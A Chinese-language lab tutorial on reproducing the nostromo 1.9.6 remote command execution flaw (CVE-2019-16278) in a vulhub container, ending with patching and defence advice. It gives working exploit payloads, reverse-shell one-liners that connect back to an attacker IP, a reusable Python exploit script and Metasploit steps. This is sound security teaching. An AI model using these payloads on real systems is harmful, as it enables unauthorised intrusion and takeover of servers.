1. 项目概述:从一次“意外”的远程命令执行说起
几年前,我在一次常规的内部网络资产梳理中,发现了一台运行着nostromo web服务器的老旧设备。当时只是觉得这个名字有点陌生,顺手记了下来。后来在一次漏洞预警中,看到了CVE-2019-16278这个编号,关联的正是nostromo。好奇心驱使下,我搭建环境、分析流量、构造载荷,当看到远程系统的
/etc/passwd
文件内容清晰地回显在终端上时,那种“原来如此”的顿悟感至今记忆犹新。这不是一个复杂的漏洞,但其成因和利用方式非常经典,对于理解Web服务器安全、HTTP协议滥用以及缓冲区溢出防护的缺失,都是一个绝佳的教学案例。无论你是刚入门安全研究的新手,还是想巩固漏洞复现流程的从业者,通过亲手复现这个漏洞,你不仅能掌握一个具体的攻击链,更能深入理解“路径遍历”与“代码执行”是如何在特定条件下被串联起来的。本文将带你回到那个漏洞被公开的2019年,一步步拆解nostromo 1.9.6及之前版本中这个危险的远程命令执行漏洞,我会分享从环境搭建到漏洞利用的全过程,以及其中容易踩坑的细节和我的排查心得。
2. 漏洞核心原理与影响范围拆解
2.1 nostromo是什么?它为何存在风险?
nostromo,也被称为nhttpd,是一个用C语言编写的、非常轻量级的开源HTTP服务器。它的设计目标就是简单和快速,因此在功能上做了大量精简,这也意味着它在安全特性的实现上可能不如Apache、Nginx这类全功能服务器那么周全。它常见于一些嵌入式设备、路由器或者对资源消耗极其敏感的环境中。这个漏洞影响的是nostromo 1.9.6及之前的所有版本。问题的根源在于其处理HTTP请求中的路径(Path)时,存在逻辑缺陷。
2.2 CVE-2019-16278漏洞原理深度解析
这个漏洞的本质是一个 未经充分验证的路径遍历 导致的 远程代码执行 。我们可以把它拆解为两个关键步骤:
第一步:路径遍历(Directory Traversal)
nostromo的
httpd
守护进程在处理用户请求时,会对请求的URL路径进行解码和规范化。然而,在特定情况下,当服务器被配置为支持目录列表(directory listing)时,它对包含编码的
../
(即
%2e%2e%2f
或
%2e%2e/
)的路径处理不当。攻击者可以通过精心构造的HTTP请求,利用这些编码的字符绕过正常的路径限制,跳转到Web根目录之外的文件系统位置。
第二步:代码执行(Code Execution)
如果攻击者能够遍历到服务器上的一个特定文件——比如一个CGI脚本,或者更关键的是,利用这个遍历能力去“伪造”一个路径,让服务器错误地将其解释为一个可执行的命令。在nostromo中,其内部处理逻辑的缺陷在于,当路径被异常解析后,服务器可能会将路径的一部分直接传递给
system()
函数或类似的命令执行接口。具体到这个漏洞,攻击者通过发送一个包含特定格式的
POST
请求,并在请求路径中嵌入Shell元字符(如分号
;
、反引号
`
或管道符
|
),就可以在路径解析过程中,让服务器执行紧随其后的任意系统命令。
简单来说,攻击链是这样的: 构造特殊HTTP请求 → 触发路径遍历逻辑 → 遍历行为被错误解析为命令执行上下文 → 嵌入的Shell命令被系统执行 。
注意 :这与简单的文件读取漏洞不同。它不需要攻击者知道服务器上存在某个具体的脚本文件,而是利用了服务器自身请求处理流程的缺陷,将“路径”这个数据直接转化成了“代码”来执行,危害性极大。
2.3 漏洞影响面分析
该漏洞的CVSS评分为9.8(高危),属于网络可远程利用、无需用户交互、无需特殊权限即可获得完全系统控制权的严重漏洞。受影响的系统包括:
- 所有运行nostromo(nhttpd)1.9.6及之前版本的设备。
- 特别是那些将nostromo暴露在公网或内部非受信网络中的设备,如一些旧型号的嵌入式工控设备、网络存储设备或定制化硬件。
- 由于nostromo的轻量级特性,管理员可能对其关注度不够,导致漏洞长期未被发现和修补。
3. 复现环境搭建与配置
亲手搭建一个漏洞环境是理解它的最佳方式。我们会在一个可控的隔离环境中完成所有操作。
3.1 环境准备与工具选型
我推荐使用Docker来搭建漏洞环境,这是最干净、最便捷的方式,可以避免污染你的主机系统。
1. 基础环境:
- 操作系统 :任何支持Docker的Linux发行版(如Ubuntu 20.04/22.04, Kali Linux)或macOS、Windows(使用Docker Desktop)。本文以Ubuntu为例。
- Docker & Docker Compose :确保已安装最新版本。
2. 靶机环境:
我们将使用安全社区维护的漏洞环境集成项目
vulhub
,它已经为我们准备好了包含nostromo漏洞的Docker镜像。
# 1. 克隆 vulhub 仓库
git clone https://github.com/vulhub/vulhub.git
cd vulhub
# 2. 进入 nostromo 漏洞目录
cd nostromo/CVE-2019-16278
# 3. 启动漏洞环境
docker-compose up -d
执行后,Docker会在本地启动一个运行着nostromo 1.9.6的容器,并映射到主机的
80
端口。
3. 攻击机环境及工具:
- Kali Linux (虚拟机或实体机):集成了大部分我们需要的工具。
-
必备工具
:
-
netcat(nc):用于网络探测和交互式Shell连接。 -
curl:用于发送构造的HTTP请求。 -
python3:用于编写和运行漏洞利用脚本。 -
metasploit-framework(可选):包含该漏洞的利用模块,可用于快速验证,但手动利用更能加深理解。
-
3.2 环境验证与网络确认
启动环境后,务必进行验证,确保服务正常运行且网络可达。
# 查看容器状态
docker-compose ps
# 应看到状态为 Up
# 使用curl验证nostromo服务是否响应
curl -v http://localhost:80
# 或者使用你的攻击机IP(如果靶机在另一台机器)
# curl -v http://<靶机IP>:80
如果返回nostromo的默认页面或HTTP 200响应,说明环境搭建成功。
我的实操心得
:有时Docker容器可能因为端口冲突启动失败。检查主机80端口是否被占用(
sudo netstat -tulpn | grep :80
)。如果占用,可以修改
docker-compose.yml
文件,将端口映射改为
8080:80
,后续访问时就用
8080
端口。
4. 手动漏洞复现与利用详解
我们不依赖自动化工具,一步步手动复现,彻底看清漏洞的每一个环节。
4.1 信息收集与漏洞探测
首先,我们需要确认目标运行着存在漏洞的nostromo版本。
# 使用netcat连接目标HTTP端口,并发送一个简单的HEAD请求
echo -e "HEAD / HTTP/1.0\r\n\r\n" | nc <靶机IP> 80
在返回的HTTP响应头中,寻找类似
Server: nostromo 1.9.6
的字段。这就是漏洞存在的标志。
更直接的探测方式 :尝试发送一个包含路径遍历序列的请求,看服务器是否返回异常。
curl -v "http://<靶机IP>:80/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd"
如果服务器返回403 Forbidden但未正确拦截(有时可能返回400 Bad Request但暴露内部路径信息),则暗示路径遍历可能可行。但该漏洞的利用点不直接在此,这个步骤主要用于辅助判断。
4.2 构造利用请求,实现命令执行
漏洞利用的核心是发送一个特殊的
POST
请求。根据公开的漏洞详情(如Metasploit模块或Exploit-DB上的脚本),利用载荷(Payload)通常构造在请求的
路径(Path)
中。
关键点
:请求的路径中需要包含编码后的路径遍历序列和我们要执行的命令。命令通过Shell元字符(如
;
)与路径部分分隔。
下面是一个最基础的手动利用示例,我们尝试执行
id
命令来查看当前进程的用户权限:
# 使用curl发送POST请求,并在路径中嵌入命令
curl -v -X POST http://<靶机IP>:80 -d "data" --path-as-is \
"http://<靶机IP>:80/.%0d./.%0d./.%0d./.%0d./bin/sh?echo;id"
命令拆解说明 :
-
-X POST:指定使用POST方法。 -
-d "data":POST请求需要请求体,这里随便填充一点数据。 -
--path-as-is: 这是最关键的一个参数 。它告诉curl不要对URL路径进行任何标准化处理,原样发送我们构造的路径。没有这个参数,curl会提前“纠正”路径中的特殊字符,导致利用失败。 -
路径部分:
/.%0d./.%0d./.%0d./.%0d./bin/sh?echo;id-
.%0d.:这是经过编码的../。%0d是回车符\r的URL编码。服务器在解析时可能会将其解释为目录遍历。 -
经过多次
../回退到根目录,然后指向/bin/sh,这是利用服务器逻辑试图去执行/bin/sh这个“文件”。 -
?echo;id:问号?之后的部分通常被视为查询字符串(Query String)。这里我们放置了命令echo;id。分号;在Shell中用于分隔命令。服务器在处理这个畸形路径时,可能会错误地将/bin/sh和后面的查询字符串一起传递给系统Shell,从而执行id命令。
-
执行后,如果漏洞存在且利用成功,你将在HTTP响应体中看到
id
命令的执行结果(如
uid=1000(www-data) gid=1000(www-data) groups=1000(www-data)
)。
4.3 获取反向Shell(Reverse Shell)
执行单条命令只是开始,安全测试的常见目标是获取一个交互式的Shell会话。我们需要让目标服务器主动连接回我们攻击机监听的端口。
1. 在攻击机上监听端口:
# 在攻击机(Kali)上,使用netcat监听4444端口
nc -lvnp 4444
2. 构造获取反向Shell的Payload: 我们需要将一条能建立反向Shell的命令嵌入到HTTP请求中。常用的命令是:
bash -c 'bash -i >& /dev/tcp/<攻击机IP>/4444 0>&1'
我们需要对它进行URL编码,以确保它在HTTP请求中传输无误。可以使用Python快速编码:
import urllib.parse
cmd = "bash -c 'bash -i >& /dev/tcp/192.168.1.100/4444 0>&1'"
print(urllib.parse.quote(cmd))
# 输出类似:bash%20-c%20%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.1.100%2F4444%200%3E%261%27
3. 发送利用请求: 将编码后的命令放入我们之前构造的路径中。
curl -v -X POST http://<靶机IP>:80 -d "data" --path-as-is \
"http://<靶机IP>:80/.%0d./.%0d./.%0d./.%0d./bin/sh?echo;bash%20-c%20%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.1.100%2F4444%200%3E%261%27"
重要提示 :将
<攻击机IP>替换为你Kali机器的真实IP地址。确保攻击机的防火墙允许4444端口的入站连接。
4. 检查连接:
如果一切顺利,你之前运行
nc -lvnp 4444
的终端将会接收到来自目标服务器的连接,并出现一个交互式的Shell提示符。你可以尝试执行
whoami
、
pwd
等命令来验证。
我的避坑技巧 :
- 编码问题 :如果直接使用未编码的空格或特殊字符,请求可能在传输过程中被破坏。务必对命令进行完整的URL编码。
-
Shell选择
:目标系统可能没有
bash,只有sh。可以尝试更通用的Payload:sh -i >& /dev/tcp/...。 -
监听端口无响应
:首先检查攻击机IP是否正确(在攻击机上用
ip addr查看)。其次,目标服务器可能出网受限,或者/dev/tcp这个特性被禁用(某些精简的BusyBox环境)。可以尝试使用其他反向Shell方式,如使用python、php或nc。-
Python反向Shell备用命令:
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("<攻击机IP>",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' - 同样需要对整个命令进行URL编码。
-
Python反向Shell备用命令:
5. 利用脚本编写与自动化思路
手动利用虽然直观,但效率低且容易出错。我们可以用Python编写一个简单的利用脚本,使其更通用和自动化。
5.1 Python PoC脚本编写
下面是一个基础版本的漏洞验证脚本(Proof of Concept),它尝试执行一个命令并返回结果。
#!/usr/bin/env python3
import sys
import urllib.parse
import requests
def exploit(target_ip, command):
"""
利用CVE-2019-16278执行命令
"""
# 构造恶意路径
# 使用 /.%0d./ 作为路径遍历序列
traversal = "/.%0d./.%0d./.%0d./.%0d."
# 构造完整的路径,包含命令
malicious_path = f"{traversal}/bin/sh?echo;{urllib.parse.quote(command)}"
# 目标URL
url = f"http://{target_ip}:80"
# 设置请求头,Host字段是必须的
headers = {
'Host': target_ip,
'User-Agent': 'Mozilla/5.0 (Exploit PoC)',
}
# 发送POST请求
# 注意:requests库默认会对URL进行编码,我们需要手动处理路径
# 这里我们直接拼接完整的URL,并设置`allow_redirects=False`和`timeout`
full_url = url + malicious_path
try:
# 使用requests发送请求,但需要模拟curl的`--path-as-is`行为
# 更底层的做法是使用socket,这里我们用requests的prepare_request来绕过部分URL处理
from requests import Request, Session
s = Session()
req = Request('POST', url, headers=headers, data='exploit')
prepared = req.prepare()
# 直接覆盖prepared请求的path部分
prepared.url = url + malicious_path
response = s.send(prepared, timeout=10, verify=False)
# 提取命令执行结果
# 结果通常在响应体中,可能夹杂着HTTP头,需要简单处理
print(f"[+] 命令 '{command}' 执行结果:")
print(response.text[:500]) # 打印前500字符避免刷屏
return response.text
except requests.exceptions.RequestException as e:
print(f"[-] 请求失败: {e}")
return None
except Exception as e:
print(f"[-] 发生未知错误: {e}")
return None
if __name__ == "__main__":
if len(sys.argv) != 3:
print(f"用法: {sys.argv[0]} <目标IP> '<命令>'")
print(f'示例: {sys.argv[0]} 192.168.1.10 "id"')
sys.exit(1)
target = sys.argv[1]
cmd = sys.argv[2]
print(f"[*] 目标: {target}")
print(f"[*] 执行命令: {cmd}")
print("[*] 尝试利用CVE-2019-16278...")
exploit(target, cmd)
脚本使用说明 :
-
将上述代码保存为
nostromo_rce.py。 -
安装Python的
requests库:pip install requests。 -
运行脚本:
python3 nostromo_rce.py 192.168.1.10 "ls -la /tmp"
脚本编写要点 :
-
路径处理
:这是最棘手的部分。高级HTTP库(如
requests)会自动对URL进行规范化(normalization),这会破坏我们精心构造的畸形路径。上述脚本通过prepare()方法部分绕过了这个处理,但并非百分百可靠。更稳健的方法是直接使用Python的socket库构造原始HTTP报文发送。 - 结果提取 :命令执行的输出会混杂在HTTP响应体中,可能前面还有HTTP头。需要根据实际情况进行字符串切割来提取纯净的输出。
- 错误处理 :网络超时、连接拒绝、服务无响应等情况都需要考虑,避免脚本意外崩溃。
5.2 使用Metasploit进行自动化利用
对于追求效率或需要集成到工作流中的情况,Metasploit框架提供了成熟的利用模块。
# 启动Metasploit控制台
msfconsole
# 搜索nostromo相关模块
search nostromo
# 使用漏洞利用模块
use exploit/multi/http/nostromo_code_exec
# 查看需要设置的参数
show options
# 设置参数
set RHOSTS <靶机IP>
set RPORT 80
set LHOST <你的攻击机IP> # 用于接收反向Shell
set LPORT 4444
# 执行利用
run
# 或者 exploit
如果成功,Metasploit会为你建立一个Meterpreter会话。这种方式一键化,并且提供了稳定的后渗透通道,但对于学习漏洞原理而言,不如手动复现来得深刻。
6. 常见问题排查与修复建议
在复现过程中,你可能会遇到各种问题。下面是我总结的一些常见情况及解决方法。
6.1 复现失败问题排查表
| 问题现象 | 可能原因 | 排查步骤与解决方案 |
|---|---|---|
| curl命令无回显 |
1. 环境未成功启动。
2. 命令构造有误。 3. 目标服务崩溃。 |
1.
docker-compose ps
确认容器状态,
docker logs <容器名>
查看日志。
2. 使用
curl -v
查看详细请求/响应,确认路径是否被篡改。尝试最简Payload:
/.%0d./.%0d./.%0d./.%0d./bin/sh?echo;echo%20test
。
3. 重启容器:
docker-compose restart
。
|
| 返回400/500错误 |
1. 路径遍历序列不对。
2. 服务器版本或配置差异。 |
1. 尝试其他编码变体,如
/%2e%2e/
或
/..;/
(注意分号)。查阅不同PoC使用的确切序列。
2. 确认靶机nostromo版本是否为1.9.6或更早。 |
| 命令执行了但无输出 |
1. 命令输出被重定向或丢弃。
2. 命令本身执行失败。 |
1. 在命令中确保输出到标准输出,如
id && echo ---
。
2. 尝试执行绝对路径的命令,如
/usr/bin/id
。检查目标系统是否有该命令。
|
| 反向Shell连接不上 |
1. 攻击机IP/端口错误。
2. 目标出网被阻。 3. Payload编码或语法错误。 4. 目标无
/dev/tcp
或相应解释器。
|
1. 在攻击机用
ip a
确认IP,用
nc -lvnp 4444
确认监听正常。
2. 尝试在目标执行
curl <攻击机IP>:4444
测试连通性。
3. 使用Python的
urllib.parse.quote()
确保编码正确。先在本地测试命令有效性。
4. 换用其他反向Shell Payload(如Python、PHP、NC开放版本)。 |
| Metasploit模块失败 |
1. 参数设置错误。
2. 目标环境不匹配。 3. 防火墙/杀软拦截。 |
1. 仔细检查
RHOSTS
,
LHOST
,
RPORT
设置。
2. 先用手动PoC验证漏洞是否存在。 3. 尝试调整Payload类型(如将
cmd/unix/reverse_bash
换成
cmd/unix/reverse_python
)。
|
6.2 漏洞修复与缓解措施
如果你在真实环境中发现了存在此漏洞的nostromo服务器,应立即采取行动:
- 升级 :这是最根本的解决方案。将nostromo升级到1.9.7或更高版本。官方在1.9.7版本中修复了此漏洞。
-
临时缓解
:如果无法立即升级,可以考虑:
- 网络隔离 :严格限制访问nostromo服务的源IP,仅允许可信网络访问。
-
使用WAF
:部署Web应用防火墙(WAF),设置规则拦截包含
%0d、%2e%2e等异常路径遍历序列的请求。 - 停止服务 :如果该服务非必需,立即停止它。
-
安全加固
:
- 避免以高权限(如root)身份运行Web服务。
- 将nostromo运行在容器或沙盒环境中,限制其访问文件系统的范围。
- 定期进行安全审计和漏洞扫描。
7. 漏洞复现的延伸思考与防御启示
成功复现一个漏洞远不是终点。通过CVE-2019-16278,我们可以提炼出更多关于安全开发和防御的通用经验。
对开发者的启示 :
-
输入验证的绝对重要性
:所有用户输入,尤其是URL路径、请求头、参数,都必须视为不可信的。需要对
../、编码字符、空字节等进行严格的过滤和规范化。 - 最小权限原则 :Web服务器进程应使用最低必要的权限运行,避免使用root。这样即使被攻破,攻击者获得的权限也有限。
-
谨慎使用危险函数
:像
system()、popen()、exec()这类能够执行系统命令的函数是极度危险的。如果必须使用,务必对输入进行白名单验证,并避免将用户可控数据直接拼接进命令。 - 依赖组件安全 :即使是像nostromo这样看似小众的第三方库或服务,也需要纳入漏洞管理流程,及时关注安全公告并更新。
对防御者的启示 :
- 资产清点 :清楚知道内网中运行着哪些服务及其版本。像nostromo这类轻量级服务很容易被忽略。
- 纵深防御 :不要只依赖边界防火墙。在网络内部实施分段,限制服务器之间的横向移动能力。即使Web服务被入侵,也能将影响范围控制在最小。
- 监控与检测 :在Web服务器日志中监控异常的请求模式,例如大量包含特殊编码字符的POST请求到根路径。部署HIDS(主机入侵检测系统)监控异常进程的创建(如突然从Web进程派生出一个shell)。
复现的终极价值 :手动复现漏洞的过程,是一个将抽象CVE编号转化为具体攻击链的“翻译”过程。它强迫你去理解协议细节、编码技巧和系统交互。下次当你看到“路径遍历导致RCE”的描述时,你的脑海里会立刻浮现出HTTP请求包的具体模样,而不再是一个模糊的概念。这种能力,是阅读再多的分析报告也无法完全赋予的,必须亲手实践才能获得。每一次复现,都是对攻击者思维的一次模拟,而最好的防御,始于深刻的理解。
5702

被折叠的 条评论
为什么被折叠?



